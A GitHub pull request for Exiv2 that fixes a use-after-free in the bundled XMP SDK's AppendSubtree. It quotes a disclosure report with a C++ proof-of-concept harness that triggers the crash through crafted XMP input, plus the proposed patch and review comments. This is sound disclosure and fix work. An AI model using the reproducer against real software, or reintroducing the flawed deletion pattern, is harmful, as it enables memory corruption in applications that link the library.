Avoid using destNode after deleting#9367
Conversation
|
This is the report that we received (https://github.com/Exiv2/exiv2/security/advisories/GHSA-vpqx-95f4-gjcp). I am treating this as a regular bug, not a vulnerability, because Exiv2 doesn't use the affected function. SummaryA Critical Use-After-Free (UAF) vulnerability exists in the bundled XMP SDK ( DetailsThe vulnerability is located in When processing complex nested structures (such as Structs or Alt-Text arrays), the function iterates over the source node's children in a // xmpsdk/src/XMPUtils-FileInfo.cpp (approx. line 697)
if ( deleteEmpty && destNode->children.empty() ) {
delete ( destNode );
destParent->children.erase ( destPos );
// VULNERABILITY: Missing return/break statement here
}Because there is no PoCThe vulnerability cannot be triggered via the standard Below is a minimal C++ Proof of Concept (PoC) demonstrating the crash. Prerequisites: Compile this harness and link it against the Exiv2 library (ensure AddressSanitizer is enabled to clearly catch the heap corruption). #include <iostream>
#include <string>
#include <stdexcept>
#ifdef _WIN32
#include <windows.h>
#endif
#define TXMP_STRING_TYPE std::string
// Include the XMP SDK headers.
#include "XMP_Environment.h"
#include "XMP_Const.h"
#include "TXMPMeta.hpp"
#include "TXMPUtils.hpp"
// Include the glue code directly to allow compilation without a full SDK build/link.
#include "client-glue/TXMPMeta.incl_cpp"
#include "client-glue/TXMPUtils.incl_cpp"
typedef TXMPMeta<std::string> SXMPMeta;
typedef TXMPUtils<std::string> SXMPUtils;
// Helper to run code that might crash (Access Violation) or throw
typedef void (*TestFunc)();
void runTest(const char* name, TestFunc func) {
std::cout << "[*] Running " << name << "..." << std::endl;
try {
#ifdef _WIN32
__try {
func();
std::cout << "[+] " << name << " completed without a hard crash (might have just corrupted memory)." << std::endl;
} __except(GetExceptionCode() == EXCEPTION_ACCESS_VIOLATION ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH) {
std::cout << "[!] CRASH DETECTED in " << name << ": Access Violation (UAF triggered!)" << std::endl;
}
#else
func();
std::cout << "[+] " << name << " completed." << std::endl;
#endif
}
catch (const XMP_Error& e) {
if (std::string(e.GetErrMsg()).find("UAF DETECTED") != std::string::npos) {
std::cout << "[!!!] SUCCESS: Caught expected UAF detection error: " << e.GetErrMsg() << std::endl;
} else {
std::cerr << "[!] Caught XMP exception: " << e.GetErrMsg() << std::endl;
}
}
catch (const std::exception& e) {
std::cerr << "[!] Caught exception: " << e.what() << std::endl;
}
}
void testCreatorContactInfoUAF() {
// Destination: A struct with two fields.
std::string destData =
"<x:xmpmeta xmlns:x='adobe:ns:meta/'>"
" <rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>"
" <rdf:Description rdf:about='' xmlns:Iptc4xmpCore='http://iptc.org/std/Iptc4xmpCore/1.0/xmlns/'>"
" <Iptc4xmpCore:CreatorContactInfo rdf:parseType='Resource'>"
" <Iptc4xmpCore:CiAdrCity>Boston</Iptc4xmpCore:CiAdrCity>"
" <Iptc4xmpCore:CiAdrRegion>Massachusetts</Iptc4xmpCore:CiAdrRegion>"
" </Iptc4xmpCore:CreatorContactInfo>"
" </rdf:Description>"
" </rdf:RDF>"
"</x:xmpmeta>";
// Source:
// 1. CiAdrCity is empty -> will cause deletion of dest:CiAdrCity.
// 2. CiAdrRegion is empty -> will cause deletion of dest:CiAdrRegion.
// Since CreatorContactInfo in dest is now empty, it will be deleted!
// 3. CiEmailWork follows -> will be processed using the deleted CreatorContactInfo pointer.
std::string sourceData =
"<x:xmpmeta xmlns:x='adobe:ns:meta/'>"
" <rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>"
" <rdf:Description rdf:about='' xmlns:Iptc4xmpCore='http://iptc.org/std/Iptc4xmpCore/1.0/xmlns/'>"
" <Iptc4xmpCore:CreatorContactInfo rdf:parseType='Resource'>"
" <Iptc4xmpCore:CiAdrCity></Iptc4xmpCore:CiAdrCity>"
" <Iptc4xmpCore:CiAdrRegion></Iptc4xmpCore:CiAdrRegion>"
" <Iptc4xmpCore:CiEmailWork>johndoe@example.com</Iptc4xmpCore:CiEmailWork>"
" </Iptc4xmpCore:CreatorContactInfo>"
" </rdf:Description>"
" </rdf:RDF>"
"</x:xmpmeta>";
SXMPMeta destMeta(destData.c_str(), (XMP_StringLen)destData.size());
SXMPMeta sourceMeta(sourceData.c_str(), (XMP_StringLen)sourceData.size());
// Trigger the merge with kXMPUtil_DeleteEmptyValues
SXMPUtils::AppendProperties(sourceMeta, &destMeta, kXMPUtil_DeleteEmptyValues);
}
int main() {
try {
if (!SXMPMeta::Initialize()) {
std::cerr << "[-] Could not initialize XMP SDK" << std::endl;
return 1;
}
runTest("CreatorContactInfo UAF Scenario", testCreatorContactInfoUAF);
SXMPMeta::Initialize(); // Re-init just in case Terminate was called by accident or something
SXMPMeta::Terminate();
std::cout << "[*] Execution finished." << std::endl;
}
catch (const std::exception& e) {
std::cerr << "[!] Caught fatal exception: " << e.what() << std::endl;
return 1;
}
return 0;
}ImpactVulnerability Type: CWE-416: Use After Free. Who is impacted: This is a supply chain/library vulnerability. It primarily impacts third-party developers, software vendors, and downstream applications that link against the End-users utilizing the standard Our ProposalWe propose to take the following steps:
for ( size_t sourceNum = 0, ... ) {
const XMP_Node * sourceField = sourceNode->children[sourceNum];
if ( destNode == 0 ) break; // Gracefully exit if parent was deleted
AppendSubtree ( sourceField, destNode, replaceOld, deleteEmpty );
if ( deleteEmpty && destNode->children.empty() ) {
delete ( destNode );
destNode = 0; // Nullify pointer for the 'break' check
destParent->children.erase ( destPos );
}
}After adding this fix to our cloned code and running the same test script, we received the following result - no UAF detected.
CreditsVulnerability discovered, analyzed, and reported by: |
kevinbackhouse
added
the
forward-to-main
There was a problem hiding this comment.
Pull request overview
This PR aims to prevent a use-after-free in AppendSubtree by returning immediately after deleting destNode during merge loops, avoiding dereferencing a deleted pointer on subsequent loop iterations.
Changes:
- Add early
return;after deleting and erasingdestNodewhen deleting empty values at the top level. - Add early
return;after deleting and erasingdestNodewhen a merged struct becomes empty mid-loop. - Add early
return;after deleting and erasingdestNodewhen an AltText array becomes empty mid-loop.
Show a summary per file
| File | Description |
|---|---|
| xmpsdk/src/XMPUtils-FileInfo.cpp | Adds early returns after deleting destNode to avoid UAF during struct/AltText merge loops. |
Review details
Tip
Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
- Files reviewed: 1/1 changed files
- Comments generated: 2
- Review effort level: Low
| AppendSubtree ( sourceField, destNode, replaceOld, deleteEmpty ); | ||
| if ( deleteEmpty && destNode->children.empty() ) { | ||
| delete ( destNode ); | ||
| destParent->children.erase ( destPos ); | ||
| return; |
| if ( destNode->children.empty() ) { | ||
| delete ( destNode ); | ||
| destParent->children.erase ( destPos ); | ||
| return; | ||
| } |
Codecov Report✅ All modified and coverable lines are covered by tests. Additional details and impacted files@@ Coverage Diff @@
## 0.28.x #9367 +/- ##
==========================================
+ Coverage 65.55% 65.59% +0.03%
==========================================
Files 104 104
Lines 22293 22299 +6
Branches 10901 10905 +4
==========================================
+ Hits 14614 14626 +12
+ Misses 5355 5350 -5
+ Partials 2324 2323 -1 ☔ View full report in Codecov by Harness. 🚀 New features to boost your workflow:
|
This function sometimes deletes
destNodeduring a loop, which could cause a crash on the next iteration of the loop. To avoid that, the function should return after callingdelete.This was reported as a vulnerability, but the reporters couldn't find a way to trigger this from the Exiv2 command line app, and had to write a custom main function to reproduce the issue. So I'm treating this as a regular bug that doesn't need a CVE. I'll copy their full report below.